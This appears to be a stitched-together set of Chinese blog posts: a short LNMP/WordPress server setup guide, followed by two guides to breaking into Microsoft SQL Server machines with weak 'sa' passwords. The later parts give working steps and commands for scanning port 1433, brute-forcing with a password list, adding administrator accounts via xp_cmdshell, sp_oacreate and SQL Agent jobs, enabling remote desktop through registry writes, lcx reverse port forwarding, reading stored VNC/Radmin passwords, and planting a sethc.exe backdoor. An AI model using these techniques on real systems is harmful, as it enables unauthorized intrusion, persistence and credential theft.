由于目前的官方的源里面没有php5-fpm的包,我们需要下载源代码编译,后面Google发现已经有人提供了镜像源,该镜像源需要验证KEY,不过我们可以无视它继续安装。

在 /etc/apt/sources.list 中加入
deb http://ppa.launchpad.net/jdub/devel/ubuntu maverick main
deb http://ppa.launchpad.net/brianmercer/php/ubuntu lucid main
deb-src http://ppa.launchpad.net/brianmercer/php/ubuntu lucid main

然后执行:
apt-get update

然后安装 php5-fpm
apt-get install php5-fpm 
service php5-fpm start

修改nginx配置文件来完成配置:

root@lnmp:/home/windonly# vi /etc/nginx/sites-enabled/default 

server {
        listen   80 ;
        listen   [::]:80 default ipv6only=on;   ## enable for ipv6
        server_name  localhost;

        #access_log  /var/log/nginx/localhost.access.log;

        index index.php index.htm index.html;
        root /var/www;
        expires 7d;
        location ~ \.php$ {
                fastcgi_pass 127.0.0.1:9000;
                fastcgi_index index.php;
                fastcgi_param APPLICATION_ENV production;
                include fcgi.conf;
                expires off;
        }
}

再配置fcgi.conf:
root@lnmp:/home/windonly# vi /etc/nginx/fcgi.conf 

fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;
fastcgi_param  SERVER_SOFTWARE    nginx;

fastcgi_param  QUERY_STRING       $query_string;
fastcgi_param  REQUEST_METHOD     $request_method;
fastcgi_param  CONTENT_TYPE       $content_type;
fastcgi_param  CONTENT_LENGTH     $content_length;

fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;
fastcgi_param  SCRIPT_NAME        $fastcgi_script_name;
fastcgi_param  REQUEST_URI        $request_uri;
fastcgi_param  DOCUMENT_URI       $document_uri;
fastcgi_param  DOCUMENT_ROOT      $document_root;
fastcgi_param  SERVER_PROTOCOL    $server_protocol;

fastcgi_param  REMOTE_ADDR        $remote_addr;
fastcgi_param  REMOTE_PORT        $remote_port;
fastcgi_param  SERVER_ADDR        $server_addr;
fastcgi_param  SERVER_PORT        $server_port;
fastcgi_param  SERVER_NAME        $server_name;

# PHP only, required if PHP was built with enable-force-cgi-redirect
fastcgi_param  REDIRECT_STATUS    200;

完成之后通过:
root@lnmp:/home/windonly# nginx -t
the configuration file /etc/nginx/nginx.conf syntax is ok
configuration file /etc/nginx/nginx.conf test is successful

来测试配置文件是否正确。
最后通过 service nginx reload 重启nginx

通过:
vi /var/www/index.php

然后访问这个页面来测试是否配置成功了。
4.配置PHP和MySql

通过 apt-get install php5-mysql 安装PHP访问MySql模块,需要重启下php5-fpm使其生效。

5.安装Wordpress

首先现在最新版本的wordpress: wget http://cn.wordpress.org/wordpress-3.0.1-zh_CN.zip 并解压(如果服务器上没装unzip就通过apt-get install unzip安装),先创建数据库:

mysql> create database myblog;
Query OK, 1 row affected (0.00 sec)

mysql> create user 'myblog'@'localhost' identified by 'myblog';
Query OK, 0 rows affected (0.00 sec)

mysql> grant all on myblog.* to 'myblog'@'localhost';
Query OK, 0 rows affected (0.00 sec)

然后就可以通过web页面安装与配置wordpress了。

6.如何实现Wordpress静态链接
windonly@linux:~$ sudo vi /etc/nginx/sites-enabled/default 

加入以下配置:

location / {
        index index.html index.php;
        if (-d $request_filename){
                rewrite ^/(.*)([^/])$ $1$2/ permanent;
        }
        if (-f $request_filename/index.php){
                rewrite (.*) $1/wordpress/index.php;
        }
        if (!-f $request_filename){
                rewrite (.*) /wordpress/index.php;
        }
}

然后重启nginx既可。

7.结束语

至此整个LNMP配置已经完成,虽然网上有很多一键包,但是只有通过自己手工配置一次才能熟悉整个配置流程,方便后期维护和优化。一直很纠结要不要去买一个VPS,每年1600的费用也是一笔相当大的开销啊。

 

#安装 eAccelerator
wget http://bart.eaccelerator.net/source/0.9.6.1/eaccelerator-0.9.6.1.tar.bz2
tar xvjf eaccelerator-0.9.6.1.tar.bz2
cd eaccelerator-0.9.6.1
cp control.php /var/www/control.php
sudo chown www:www /var/www/control.php
sudo phpize
sudo ./configure –enable-eaccelerator=shared
sudo make
sudo make install
sudo vi /etc/php5/fpm/php.ini

extension_dir = “/usr/lib/php5/20090626+lfs/”
extension = eaccelerator.so
eaccelerator.shm_size=”16″
eaccelerator.cache_dir=”/tmp/eaccelerator”
eaccelerator.enable=”1″
eaccelerator.optimizer=”1″
eaccelerator.check_mtime=”1″
eaccelerator.debug=”0″
eaccelerator.filter=””
eaccelerator.shm_max=”0″
eaccelerator.shm_ttl=”0″
eaccelerator.shm_prune_period=”0″
eaccelerator.shm_only=”0″
eaccelerator.compress=”1″
eaccelerator.compress_level=”9″
eaccelerator.allowed_admin_path=”/var/www/control.php”

#配置文件目录
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/etc/php5/fpm/php.ini
/etc/php5/fpm/pool.d/www.conf

MSSQL SA弱口令入侵那些事

原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 、作者信息和本声明。否则将追究法律责任。http://xiaowang.blog.51cto.com/1083/129196

      本文技术交流与学习之用,请勿非法使用,产生任何后果本人概不负责。
一、如何找到SA弱口令计算机
1、扫描获得1433端口开放的计算机
      端口扫描器和专门的SQL扫描器很多,笔者经过大量的测试,推荐使用ssport(如图1)这款扫描器进行扫描,尽管有些基于SYN方式的扫描器扫描速度很快,但误报和漏扫情况比较多,而且对网络速度要求比较高,而ssport可以根据扫描计算机的硬件和网络情况进行灵活的设置,操控性很强。因为ssport扫描器占的网络资源比较多,建议超时时间设置的大一些,扫描速度设置的慢一些。ssport的下载地址:[url]http://www.skycn.com/soft/15011.html[/url]
200902081234063385625
图1
      扫描完毕后,将获得的结果”导出”到一个txt文件中,然后使用替换功能去掉每个ip后面的:1433。
2、破解SA密码
      破解SA密码的软件也很多,笔者一般使用x-scan(下载地址:http://www.xfocus.net/tools/200507/X-Scan-v3.3-cn.rar),尽管破解速度不算最快,但很稳定(xp和虚拟机下不算稳定,可能跟xp的tcp连接数量有关,建议在win2000、2003下使用),各种设置如图2,3,4,5,6所示。
200902111234333556671
图2
200902111234333938406
图3
200902111234333988953
图4
200902111234334033906
图5
200902111234334108218
图6
其他设置使用默认设置就行了。x-scan提供了一个sqlserver用户名字典sql_user.dic,我们需要修改一下,只保留其中sa这个用户。x-scan还提供了一个sa的密码字典weak_pass.dic,我也修改了一下:
%null%
%username%
123
server
0000
654321
7654321
manager
12345678
1234
12345
123456
1234567
123456789
admin
password
666666
888888
000000
master
111111
如果条件允许,可以制作生日密码字典进行破解,这种密码还是很多的,而且完全控制的可能性很大。
二、找到SA弱口令服务器后
        1、连接执行cmd命令
        找到SA弱口令服务器后,可以使用sqlserver的查询分析器进行连接,但要获得查询分析器,需要安装sqlserver的客户端,这样比较麻烦,建议使用SQL执行器(下载地址:http://img1.51cto.com/attachment/200902/1083_1233814542.rar)进行连接,查询分析器的功能SQL执行器基本都有,数据库管理员也可以使用这个工具维护数据库,如图7所示。
200902111234336304500
图7
连接上就可以尝试执行cmd命令了,但事情不会象我们想象的那样简单。
        2、连接后,该执行哪些命令?
        假设各种存储过程和dll文件都没有删除,我们先执行:
exec master..xp_cmdshell ‘netstat -an’
看看3389,4899,5631等远程控制的软件端口是否都是开放的,然后执行添加系统用户的命令:
exec master..xp_cmdshell ‘net user a password /add’
exec master..xp_cmdshell ‘net localgroup administrators a /add’
这样就加了一个名为a,密码为password的系统管理员。建议密码设置的复杂些,有些服务器有密码复杂度限制,密码如果太简单,建不了用户。
        3、都会遇到哪些障碍?
(1)如果提示xp_cmdshell被删除了怎么办?
执行exec sp_addextendedproc ‘xp_cmdshell’, ‘Xplog70.dll’,进行恢复。
    
(2) 如果提示sp_addextendedproc不存在怎么办?
执行:
create procedure sp_addextendedproc
@functname nvarchar(517), @dllname varchar(255) as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,’sp_addextendedproc’)
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) — sp_addextendedproc
GO
恢复
        
(3)如果对方的3389服务没有开启怎么办?
执行:
exec master..xp_cmdshell ‘dir c:’
看看根目录下如果是winnt,则一般是win2000,执行
exec master..xp_cmdshell ‘echo [Components] > c:winnt3389’
exec master..xp_cmdshell ‘echo TSEnable = . >> c:winnt3389’
exec master..xp_cmdshell ‘sysocmgr /i:c:winntinfsysoc.inf /u:c:winnt3389 /q’
等服务器重启才能连接3389
如果根目录下是windows,一般是xp或win2003,执行

exec master.dbo.xp_cmdshell ‘echo Windows Registry Editor Version 5.00>>3389.reg’
exec master.dbo.xp_cmdshell ‘echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]>>3389.reg’
exec master.dbo.xp_cmdshell ‘echo “fDenyTSConnections”=dword:00000000>>3389.reg’
exec master.dbo.xp_cmdshell ‘echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp]>>3389.reg’
exec master.dbo.xp_cmdshell ‘echo “PortNumber”=dword:00000d3d>>3389.reg’
exec master.dbo.xp_cmdshell ‘echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]>>3389.reg’
exec master.dbo.xp_cmdshell ‘echo “PortNumber”=dword:00000d3d>>3389.reg’
exec master.dbo.xp_cmdshell ‘regedit /s 3389.reg’

执行完毕后,不用等待重启,可以直接连接。
exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEMCurrentControlSetControlTerminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;
       
(4)如果使用3389连接时,提示连接用户必须有远程连接的权限怎么办?
执行:
exec master..xp_cmdshell ‘net localgroup “Remote Desktop Users” a /add’
注意单双引号。
(5)如果服务器用的是pcanywhere怎么办?
执行:
exec master..xp_cmdshell ‘dir c:docume~1alluse~1Applic~1symantecpcAnywhereHosts’
想办法把该文件夹的pif文件下载破解。
(5)如果连接3389,提示连接用户已满怎么办?
执行:
exec master..xp_cmdshell ‘shutdown/r /f’
服务器会重新启动,然后连接,只针对xp和2003。
(6)如果对方是sql2005,有些存储过程默认情况下是关闭的怎么办?
sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
SQL2005开启’OPENROWSET’支持的方法:
exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ad Hoc Distributed Queries’,1;RECONFIGURE;
SQL2005开启’sp_oacreate’支持的方法:
exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ole Automation Procedures’,1;RECONFIGURE;
(7)为什么我建了管理员用户,在连接3389时提示用户名和密码不正确?
这种情况也存在,开3389服务的服务器和开1433服务的服务器不是一台机器,1433服务器很可能在内网,可通过sqltool这个软件上传lcx.exe,进行反向连接,详细情况参考(8)。
(8)对方3389是开启的,但为什么连接不上?
这种情况比较多,可能1433服务器是在内网,或者有防火墙阻挡,科通过sqltool这个软件的上传功能将lcx.exe上传到1433服务器上(可放到system32下),然后到有公网ip的计算机上执行cmd命令(要先把lcx传上去):
Lcx -listen 12345 54321
然后在SQL执行器执行:
exec master..xp_cmdshell ‘lcx.exe -slave 公网ip 54321 127.0.0.1 3389’
再到有公网ip的计算机上使用远程桌面连接127.0.0.1:12345
这样一般可以连上。
(9)3389的端口被修改了,该如何找到?
先执行
exec master..xp_cmdshell ‘netstat -an’
看看那些端口的数字比较特殊,比如9833、12345等,尝试连接,或者
第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值。
而终端所对应的服务名为:Terminal Services
第二步:用netstat -ano命令,列出所有端口对应的PID值。
找到PID值所对应的端口,然后连接ip:端口
(10)遇到下面的错误提示怎么办?
消息 50001,级别 1,状态 50001
xpsql.cpp: 錯誤 5 發生於 CreateProcess 的第 543 行
放弃吧,我也不知道怎么办,哪位大侠指点一下。
(11)如果不能执行或者删除了net、net1怎么办?
上传试试,
(12)还有哪些建系统用户的方法?
测试

本文出自 “小王” 博客,请务必保留此出处http://xiaowang.blog.51cto.com/1083/129196

MSSQL Sa账户弱口令利用总结

一般拿到mssql的sa密码,或者遇到sa权限的注入点.可以尝试用sql连接器进行连接.如果不能外连,可以建立一个属于sysadmin组,可以远程登录的帐号进行控制.简单示例如下:

EXEC SP_ADDLOGIN 'hsren','123456','master' ;
EXEC SP_ADDSRVROLEMEMBER 'hsren','sysadmin';

这样,我们就建立了一个属于sysadmin组的sql登录 hsren 密码123456. 在mssql注入中遇到sa权限,不知道sa密码,我们也可以这样建立个用户,比较容易操作.操作以前,我们最好连接下1433端口,看是否开启.其实实际过程中,很多有放火墙阻止了1433端口的,还有一些更改端口为其他端口的,还有内网数据库等等.到时候端口转发,端口复用等,这里暂不考虑,.本文着重记录一些常见的mssql 空口令技巧.

其实mssql利用工具,网上有好多下载.很多版本都挺好用的,而且各有特色.这里不一一介绍了,简单说下我偶尔用到的几个工具,xrou写的sql tools,还有蓝色光芒写的sql综合利用工具.

xrou写的sql tools 功能比较强大,包括五种执行cmd命令的方式,执行sql语句,列目录,上传文件和查看文件内容等.蓝色光芒的sql综合利用工具,增加sql 帐号和注册表管理功能比较实用.其实工具是死的,这里不多加介绍,下面我们用sql查询器直接进行连接.

首先查看mssql版本和系统版本.?select @@version?一般用来查看mssql版本,因为sql2008 sql2005 sql2000 个别语法不相同,本文主要针对sql2000进行记录.

首先,我们进入master数据库,因为sql只有在master数据库中才能执行xp_cmdshell存储过程. user master; 然后F5 执行. 想用1、2、3、来记录后来想到自己的思想混乱和文笔,还是算了,随手记忆吧!

第一步尝试运行cmd命令,有了cmd命令,方便我们进一步的入侵!mssql有很多功能强大的存储过程,也许是太强大了,正是这些存储过程带给了我们数不清的机会!说道cmd命令,首当其冲的,是xp_cmdshell这个存储过程!

说下如何判断某个存储过程是否存在. 我们直接执行 sql语句判断存储扩展是否存在:

select count(*) from master.dbo.sysobjects where xtype='x' and ame='xp_cmdshell'

返回结果为1就ok . 0就是不存在.我们查询什么扩展更改蓝色字体部分的xp_cmdshell即可.

xp_cmdshell,以操作系统命令行解释器的的方式执行给定的字符串,并以文本方式返回.授予非管理员用户执行cmdshell的权限语法为xp_cmdshell {‘command_srting’}[,no_output];具体应用也不多作解释了!因为mssql太强大了,随便每个存储过程都可以用几页文章来形容.还是记录一些常用的命令就好了.
Exec Xp_cmdshell ‘whoami’]

我一般用这个用户作为test语句!当然很多朋友可能都习惯用net user 添加用户!还是那句话,管理员的安全水平越来越提高!sql服务的sa默认是system权限,但是很多有经验的管理员都会把权限降低为nt authority\network service. 有经验的管理员会把net.exe net1.exe cacls.exe 等危险的exe都禁止system访问!当然了xp_cmdshell这么危险的组件也不会保存!而whoami.exe这个命令一般不会被特别的设置权限,所以我们可以判断,xp_cmdshell是否禁止,mssql的运行权限是什么!

下面分2个话题说,第一个,恢复xp_cmdshell;第二个,在sa没有特权的时候,我们该做什么!

先说第一个!

恢复xp_cmdshell,网上关于这类话题的讨论很多!由于本文是记录给自己看的,不能图文并茂,就大概记录一下!

1、提示SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”. 这是mssql2005以上的默认配置!开启mssql2005 xp_cmdshell存储过程的语法为:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

大概就是开启高级选项!设置xp_cmdshell为1就是开启,关闭设置为0就可以了!也给出语句,方便我们利用后恢复!

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

第二步执行:

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' ;

3、无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)?

第一步执行:

sp_dropextendedproc "xp_cmdshell"

第二步执行:

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

4、无法在库 xplog70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
第一步执行:

exec sp_dropextendedproc 'xp_cmdshell'

第二步执行:

exec sp_addextendedproc 'xp_cmdshell','D:\hsren\xpsql70.dll'

上面所有命令都输入以后点F5执行.简单说下,第二种找不到存储过程,我们直接添加这个存储过程.xplog70.dll 是xp_cmdshell存储过程要用到的dll文件.第三个是说有存储过程,但是里面的xp_cmdshell存储过程不存在dll里面,我们首先删除这个存储过程,然后重新创建.第四个是说在dll里找不到xp_cmdshell,或者找不到dll的时候,我们自己上传dll 然后删除原来的用我们上传的dll来恢复.

5、如果sp_addextendedproc不存在,也就无法进行存储过程的添加了!这里记录两种方法。第一种是直接恢复xp_cmdshell扩展,不用理会sp_addextendedproc是否存在!具体语句如下:
首先删除

drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

然后恢复

dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

以上的例子只恢复了2种可以执行cmd命令的存储过程,包括下文要说的一些扩展都能利用此种方法恢复!下面就不再赘述了!

第二种是,用sql语句恢复sp_dropextrndedproc. 该语句是从dll里直接提取的.大家可以另外提取一些其他的函数,这些不在本文讨论范围中.sql语句如下:

create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO

执行完毕以后,我们的sp_addextendedproc就可以用了,我们就可以添加各种存储过程了.
6、还有一种,错误 5 来自 CreateProcess .那样是net.exe的权限问题!我们可以用其他的一些扩展办法,比如上传net.exe 等等吧!直接运行一个shell.exe之类的!
上面简单介绍了一些关于xp_cmdshell的恢复和应用!可以执行cmd命令的话.开启3389运行后门,添加用户!这些事情大家自由发挥,我就不多废话了!下面说下xp_cmdshell不能执行的时候,我们可以用来执行cmd的两个存储过程!sp_oacreate 实例上创建OLE对象实例! sp_oamethod 调用ole对象的方法!一个创建一个调用方法去实现,功能可见一斑.应用很广泛.我们只说下cmd命令的应用.其他的大家可以自己去尝试. 这2个存储过程,添加和恢复参照上文的xp_cmdshell,唯一不同的就是dll的名称为odsole70.dll. 这两个存储过程基本语法如下:

sp_OACreate progid, | clsid,
    objecttoken OUTPUT
     [ , context ]
sp_OAMethod objecttoken,
    methodname
     [, returnvalue OUTPUT]
     [ , [ @parametername = ] parameter [ OUTPUT ]
     [...n]]

具体参数说明大家baidu 下. 下面给出创建一个adduser.vbs到启动目录下,运行后利用wscript.shell 执行cmd命令添加一个属于administrators 组的 用户hsren 密码123456的实例.

declare @o int, @f int,@ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\adduser.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'set wshshell=createobject("wscript.shell")'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'a=wshshell.run ("cmd.exe /c net user hsren 123456 /add",0)'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'b=wshshell.run ("cmd.exe /c net localgroup administrators hsren /add",0)'

不知道能不能看懂,如果你baidu了这2个存储过程的用法,应该能懂.再来个简简单单,执行cmd命令的,这样应该方便大家了解.

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'net start telnet'

现在,大家对这个应该了解了,实际过程中,我们可以利用这2个函数来执行注册表,写入一句话脚本木马,读写文件(比如servu ftp配置文件)等等很多事情.
不详细说了,记录到执行命令,不得不提的就是沙盒模式执行cmd.说到沙盒模式,因为默认沙盒模式,没有开启,我们必须提到一个xp_regwrite存储过程.而注册表的一些存储过程,我们又可以用来做好多事情,比如查看配置,新建服务,新建启动项之类的.先说沙盒模式提权吧.具体命令如下:

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

首先开启沙盒模式.下面加用户hsren 密码 123456.

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user hsren 123456 /add")');

大概就是这个样子了,需要注意的是,有时候ias.mdb不一定可以用,system32下面有2个mdb可以使用的,如果再不行,可以再找别的或者自己上传.其实运行沙盒模式,也许到过很多的错误,不过今天记录的时候,却忘记了.总是大家自己看着错误提示,寻找解决办法.注意蓝色字体,大家可以自行修正成自己的命令,和mdb路径比如 c:\windows\system32\ias\dnary.mdb.
再说说启动SQLSERVERAGENT 通过JOB执行cmd.大概就是如果服务器可以开启sqlseveragnet ,然后我们可以通过添加任务来执行cmd.具体的大家可以baidu 下. 贴出一个典型的利用语句:

execmaster.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

首先启动服务. 接着添加执行cmd命令的job.

use msdb exec sp_delete_job NULL,'x'
execsp_add_job 'x'
execsp_add_jobstep NULL,'x',NULL,1,'CMDEXEC','cmd /c net user hsren 123456 /add'
execsp_add_jobserverNULL,'x',@@servername
execsp_start_job 'x'

上面的例子中,我们同样添加了一个用户.简单解释下. 首先使用msdb数据库, 然后删除名为x的job, 然后新建个job x 执行cmdexec , 添加job执行的服务器.启动job x. 大概了解就好了.
在简单介绍一种执行cmd命令的方法.xrou写的sql利用工具有个安装diyshell的功能.原理就是,利用添加存储过程,添加一个我们自己写的存储过程到服务器.然后调用这个存储过程来执行cmd.其实可以做任何事情.简单介绍下,日后有时间,可以自己写个然后给大家分享.
cmd说到这里告一段落了.其实一个system权限的cmdshell还有什么不能做的呢.运行程序.上传下载.开启远程终端,添加用户等等. 值得一提的就是文件上传,我记得看过一篇文章写着sa上传文件八法.大家可以参考下.有时间我专门整理下上传文件的文章.
说到开启3389,用我们刚才开启沙盒的xp_regwrite直接可以修改注册表打开3389. 具体语句为:

exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--

写注册表,在启动项目,直接操作注册表sam项,这些具体利用就不写了.xp_regwrite没有启动,可以参考上面cmdshell的恢复方法.不同的是注册表操作的这几个存储过程默认的 dll文件名字为xpstar.dll .
说到注册表,不得不提到一系列的函数xp_regread xp_regenumkeys xp_regenumvalues xp_regremovemultistring xp_regdeletekey xp_regdeletevalue 等函数. 他们提供了注册表的列举,查看,修改和删除.我们可以查看注册表的软件配置, 删除ipsec安全策略,修改软件启动.劫持文件启动镜像等等.着重说说如果mssql降权了,没有特殊权限的提权方式. 这时候可以利用xp_regread读取一些配置文件.读取保存在注册表中的密码,来获得权限的提升.比较常用的是vnc,radmin等.因为vnc的加密方式可逆,并且保存在注册表中.我们可以把密码读出来. 语句如下:

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter'
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Port'
exec master.dbo.xp_regread 'HKEY_CURRENT_USER','Software\ORL\WinVNC3','Password'
exec master.dbo.xp_regread 'HKEY_CURRENT_USER','Software\ORL\WinVNC3','PortNumber'
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\RealVNC\WinVNC4','Password'
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\RealVNC\WinVNC4','PortNumber'

类似如此,有当我们不知道vnc安装在哪里的时候可以通过xp_regenumkeys xp_regenumvalues 来读取.如果只有guest权限,我想我们能做的也只有这些了.以下语句记录一下.劫持sethc.exe的注册表镜像,通过xp_regwrite的.例子中,我们把sethc.exe 用资源管理器劫持了,登陆3389 5shift 就运行explorer.exe了.本文只是介绍个方法.同样你可以把explorer替换为任务管理器,cmd.exe.也可以不替换sethc.exe可以替换win放大镜文件.登陆3389 win+U就弹出.我想注册表,也告一段落吧.

exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\explorer.exe'';

接下来说说xp_availablemedia 显示系统上可用的磁盘驱动器 和 xp_dirtree 显示某个目录下的子目录与文件架构.dbo.xp_subdirs 只列某个目录下的子目录.xp_getfiledetails 获取某个档案的相关属性. 很简单的,这两个函数注入中,我们经常使用,现在他可以叫我们查看服务器上有什么文件和目录.没什么技术含量不写例子了.写下如何查看文件内容吧.如果可以使用cmdshell, 我建议使用type 命令来查看.如果不可以,那我们使用把文件内容插入数据库的表里,然后来读取文件内容.代码如下:

#建立一个临时表

create table #testtable(
context ntext );
select * from #testtable

#将本地文件写入表中

BULK INSERT #testtable FROM 'c:\1111.txt'
WITH (
    DATAFILETYPE = 'char',
    KEEPNULLS
)
--drop table #testtable;

需要注意的是我们必须有BULK INSERT 权限才可以.我们是sa,可以不用考虑这个问题.查看文件内容还有好多办法.有兴趣的自己去看下mssql的一些文章. 我很少写东西,写一天了还没写完,有点烦了.随便结个尾吧.以后想到再来详细补充. 大家看看这几个函数: xp_servicecontrol 激活或者停止某个服务; xp_terminate_process 停止某个进程的pid. sp_helpextendedproc 可以用来查看哪个 存储过程用到了哪个dll.
其实还有一些存储过程,比如sp_makewebtask 可以用来写入一句话木马. 我想把一些注入中用到的存储过程,改在注入总结篇中总结. 本文只是大概记录了一些本人在网络学习到,和自己常用到的一些小经验.其实sa的利用方式还是很多,想到再补充,大家想到什么好的利用方式,也可以和我交流.
本来想写个记录帖子的,写一半把性质给忘记了.其实真的sa可以执行cmd.那么我们能做的事情好多了,我一句一句的纪录如何开始3389 如何导入文件到表内 导出为文件,如何执行就没意思了.好了,就写到这里了. 想到什么再补充什么.